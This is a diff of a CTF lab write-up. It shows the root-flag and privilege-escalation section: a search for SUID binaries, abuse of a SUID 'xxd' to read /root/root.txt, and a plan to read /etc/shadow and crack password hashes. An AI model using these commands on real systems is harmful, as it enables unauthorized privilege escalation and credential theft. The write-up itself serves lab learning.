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@ -78,26 +78,6 @@ In `/home/vianka` We can find the user flag
### Root Flag ### Root Flag
Now for the root flag by looing for `SUID` we see that `xxd` has an suid bit set so it can run as root by anyone Now for the root flag by looing for `SUID` we see that `xxd` has an suid bit set so it can run as root by anyone
www-data@ubuntu:/$ find / -perm /4000 2>/dev/null
/bin/ping
/bin/fusermount
/bin/mount
/bin/su
/bin/ping6
/bin/umount
/usr/bin/chfn
/usr/bin/xxd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
www-data@ubuntu:/$ xxd /root/root.txt | xxd -r
thm{xxd_pr1v_escalat1on}
``` ```
www-data@ubuntu:/$ find / -perm /4000 2>/dev/null www-data@ubuntu:/$ find / -perm /4000 2>/dev/null
@ -120,8 +100,11 @@ www-data@ubuntu:/$ find / -perm /4000 2>/dev/null
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
www-data@ubuntu:/$ xxd /root/root.txt | xxd -r www-data@ubuntu:/$ xxd /root/root.txt | xxd -r
thm{xxd_pr1v_escalat1on} thm{xxd_pr1v_escalat1on}
``` ```
### Privilege Escalation ### Privilege Escalation
We got the root flag without even being root but I love to find a way to get root so lets do that.We know that we can read almost anyting with `xxd` so lets try to read `/etc/shadow` and crack the user's hash We got the root flag without even being root but I love to find a way to get root so lets do that.We know that we can read almost anyting with `xxd` so lets try to read `/etc/shadow` and crack the user's hash
@ -172,4 +155,4 @@ root@ubuntu:/#
``` ```
We are root ! We are root !